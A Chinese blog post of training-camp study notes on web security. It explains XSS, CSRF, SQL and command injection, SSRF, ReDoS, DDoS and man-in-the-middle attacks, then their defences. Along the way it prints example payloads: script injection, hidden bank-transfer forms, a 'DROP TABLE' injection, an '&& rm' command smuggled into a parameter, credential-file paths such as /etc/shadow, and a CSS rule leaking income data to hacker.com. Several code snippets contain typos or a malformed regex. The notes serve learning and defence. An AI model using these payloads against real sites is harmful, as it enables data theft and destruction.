Web开发安全 | 青训营笔记

141 阅读7分钟

这是我参与「第四届青训营 」笔记创作活动的第1天。

攻击篇

1.跨站脚本攻击(Cross-Site Scripting,XSS)

攻击方式:恶意用户将恶意脚本注入到我们开发维护的页面中。其他用户访问页面时,恶意脚本将被执行,从而完成攻击。

攻击意图:

  • 窃取其他用户数据
  • 盗用其他用户机器挖矿等。

不安全原因:

  • 开发者盲目信任用户提交的内容
  • 前端工程师直接将用户提交的string转化为DOM,如果用户的文本中包含document.write,element.innerHTML = anyString,SSR(user_data)等都可能造成XSS攻击

特点:

  • 通常难以从UI上感知(攻击者暗地执行脚本,不希望被开发者发现)
  • 窃取用户信息(cookie、token)
  • 绘制UI(例如弹窗)诱骗用户点击、填写表单

根据性质分类:

  • 存储型XSS攻击(Stored XSS):
    • 恶意脚本被存在数据库中
    • 只要有用户访问页面就可以被脚本读取数据
    • 危害最大,对全部访问用户都进行攻击
//服务端的提交接口和渲染接口如下

//服务端将用户发送的内容读入数据库
public async submit(stx){
    const {content, id} = ctx.request.body;
    //没有对content内容过滤
    await db.szve({
        content,
        id
    });
}

//服务端将用户的数据放入页面中
public async render(ctx){
    const { content } = await db.query({
        id: ctx.query.id
    });
    //没有对content内容过滤
    ctx.body = `<div>${ content }</div>`;
}

//由于提交和渲染都没有对用户的内容进行过滤,所以给了攻击者可乘之机。


fetch("/submit", {
    body: JSON.stringify({
        id: "1",
        content: `<script>alert("xss");</script>`
    })
});

//则渲染后html中插入了一个sciipt标签,攻击者完成攻击。
  • 反射型XSS攻击(Reflected XSS):
    • 不涉及数据库,从URL上攻击
public async render(ctx){
    const { param } = ctx.query;
    ctx.status = 200;
    ctx.body = `<div>${ content }</div>`;
}

//其中param可能为攻击者的恶意脚本<script>alert('123')</script>
  • DOM-based XSS
    • 不需要服务器的参与,恶意攻击的发起与执行全在浏览器完成
    • 与反射型XSS攻击相同,从URL进行攻击,而反射型XSS通过服务器注入脚本,DOM-based从浏览器注入
const content = new URL(location.href).searchParams.get("param");
const div = document.createElement("div");
//恶意脚本注入
div.innerHTML = content;
document.body.append(div);
  • Mutation-based XSS
    • 利用浏览器渲染DOM的特性(不同浏览器渲染机制可能有区别,所以可以认为是按浏览器攻击的)
//
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

corme会渲染为
<div>
    <noscript><p title="</noscript>
    <img src="x" onerror="alert(1)">
    "">"
</div>

2.跨站伪造请求Cross-site request forgery(CSRF)

攻击方式:在用户不知情的情况下,利用用户权限(如cookie)构造HTTP请求,窃取或修改用户敏感信息

//通过get请求实现CSRF攻击

<a href="https://bank.com/transfer?to=hacker&amount=100">点我抽奖</a>
则会有一个名为“点我抽奖”的链接,用户点击链接就会访问银行并给黑客转100元钱

<img style="display:none;" src="https://bank.com/transfer?to=hacker&amount=100"/>
当图片被加载时就会完成CSRF攻击

//CSRF攻击不局限于get请求,攻击者只需要构建一个html表单即可
<form action="https://bank/transfer_tons_of_money" method = "POST">
    <input name="amount" value="1000" type="hidden" />
    <input name="to" value="hacker" type="hidden" />
</form>

3.注入攻击

SQL Injection

//假设一个表格渲染方法如下
public async renderForm(ctx) {
    const { username, form_id } = ctx.query;
    const result = await sql.query(`
        SELECT a, b, c FROM table
        WHERE username = ${username} AND form_id = ${form_id}
    `);
    ctx.body = renderForm(result);
}


//攻击者可以使其变为
fetch("/api", {
    method: "POST",
    headers: {
        "Content-Type": "application/json"
    },
    body: JSON.stringify({
        username: "any; DROP TABLE table;",
    });
})

//则服务端会执行
SELECT a,b,c FROM table WHERE username = any;
DROP RABLE table;

//数据库被删除

其他注入方式

  • CLI
//音频转化方法
public async convertVideo(ctx) {
    const { video, options } = ctx.request.body;
    exec(`convert-cli ${video} -o ${options}`);
    ctx.body = "ok";
}
//攻击者可以利用options参数
fetch("/api", {
    method: "POST",
    body: JSON.stringify({
        options: ` && rm -f xxx`
    })
});
//删除xxx文件
});

除了删除,读取和修改可能产生危害,如暴露重要的配置文件(/etc/passwd获取密码, /etc/shadow, ~/.ssh, /etc/apache2/httpd.conf, /etc/nginx/nginx.conf恶意转发流量等)

  • OS command
  • Server-Side Request Forgery(SSRF),严格而言,服务端伪造请求不是注入,但原理类似
//请求用户自定义的url
public async webhook(ctx) {
    //callback可能是内网url
    ctx.body = await fetch(ctx.query.callback);
}
//由于服务器有内网访问权限,如果不过滤url,用户能以此获取内网隐私信息

3.Denial of Service(DoS)

构造特定请求消耗服务器资源,导致服务器雪崩。

//正则表达式的贪婪模式,通过'?'控制匹配数量

const greedyRegExp = /a+/;         //有多少匹配多少
const nonGreedyRegExp = /a+?/;     //有一个就行
const str = "aaaaaa";
console.log(str.match(greedyRegExp)[0];      // "aaaaaa"
console.log(str.match(nonGreedyRegExp)[0];   //"a"

//弱服务器有一个贪婪的正则表达式/^((ab)*+$/
//此表达式可以匹配"ab","abab","ababab",......
//若攻击者发送"ababababa"
//则服务器先匹配到"/ababababab/"发现匹配不上,然后减少一次"ab"仍然匹配失败
//不断减少表达式长度,最后也没匹配上,但中途花费了大量时间

Distributed DoS(DDoD)

短时间内,来自大量僵尸设备的请求流量,服务器不能及时完成,导致请求堆积,进而雪崩。

如TCP三次握手中的洪水攻击(SYN Flood)。

5.中间人攻击

A与B通信,实则中间有C窃听、修改双方谈话内容。

  • 明文传输
  • 信息篡改不可知
  • 未认证对方身份

防御篇

1.XSS

方式:不要信任用户提交的内容,不能直接转化为DOM,而是转化为string。

工具:

  • 前端:主流框架默认防御XSS。google-closure-library
  • 服务端(Node):DOMPurify

如果用户需求必须动态生成DOM

  1. string->DOM:对string进行转义
  2. 允许用户上传svg文件:对svg文件扫描(查看里面是否有script脚本)
  3. 自定义跳转行为需要过滤url,防止代码插入
  4. 自定义样式也可能导致XSS攻击,需要额外留意
//收入大于等于10K的用户会有特定背景,相当于暴露了用户信息
input[type=radio].income-gt10k:checked {
    background: url("https://hacker.com/?income=gt10k")
}

2.CSRF

同源策略(Same-origin Policy)
确保两个协议的协议、域名、端口号相等,才称为同源

内容安全策略(Content Security PolicyCSP)
定义哪些源(域名)是安全的。安全的可以执行,否则直接报错。可以对eval或inline script的标签直接报错。

//服务器的响应头部
Content-Security-Policy:script-src 'self' 同源
Content-Security-Policy:script-src 'self' https://domain.com

//浏览器meta
<meta http-equiv="Content-Security-Policy" content="script-src self">

如果有跨站伪造请求,则其来源为异常来源,对origin或referer校验,可以通过限制请求来源或限制请求完成防御

同源请求中get和head没有origin字段,所以referer应用更为广泛

使用token防御

浏览器请求页面,此时服务端返回页面,同时返回一个专属token,浏览器其他请求api需要与token一同发送,服务端验证token后返回数据

  1. token必须和具体用户绑定才能防止其他用户顶替,攻击者也可以注册自己的用户。
  2. 需要过期时间,防止token被破解。

iframe攻击: 通过iframe标签将非同源变为同源。

防御手段:设置X-Frame-Options响应头部,DENY(不允许iframe加载),SAMEORIGIN(同源才可加载)

CSRF反模式:get方法传参,把get当成get+post用,既能获取数据又能修改数据。如果被CSRF攻击,不仅信息泄露,还可能被篡改数据。

SameSite Cookie:限制页面域名和cookie域是否匹配,达到每个页面只能用自己的cookie。设置Set-Cookie: SameSite=None; Secure;来添加其他可以使用自己cookie的源,以确保依赖的第三方应用可以用。

SameSiteCORS
Cookie发送资源读写(HTTP请求)
domain vs 页面域名资源域名vs页面域名

3.注入

  • 使用prepared statement,预先编译sql语句,使注入不能完成。
  • 最小权限原则:所有语句只给予最小权限,不要使用sudo或root权限。
  • 建立允许语句名单,对语句进行过滤
  • 对url类型参数进行协议、域名ip等限制

4.正则表达式的DoS

  1. 代码检查,不要用贪婪的正则表达式
  2. 代码扫描+正则性能测试
  3. 不要用用户提供的正则表达式

5.DDoS

  • 流量治理:
    • 负载均衡(过滤)
    • API网关(过滤)
    • CDN(增加抗量)
  • 快速自动扩容(增加抗量)
  • 非核心服务降级(增加抗量)

6.传输层防御(防御中间人)

使用https

  1. 可靠性:加密
  2. 完整性:MAC验证
  3. 不可抵赖性:数字签名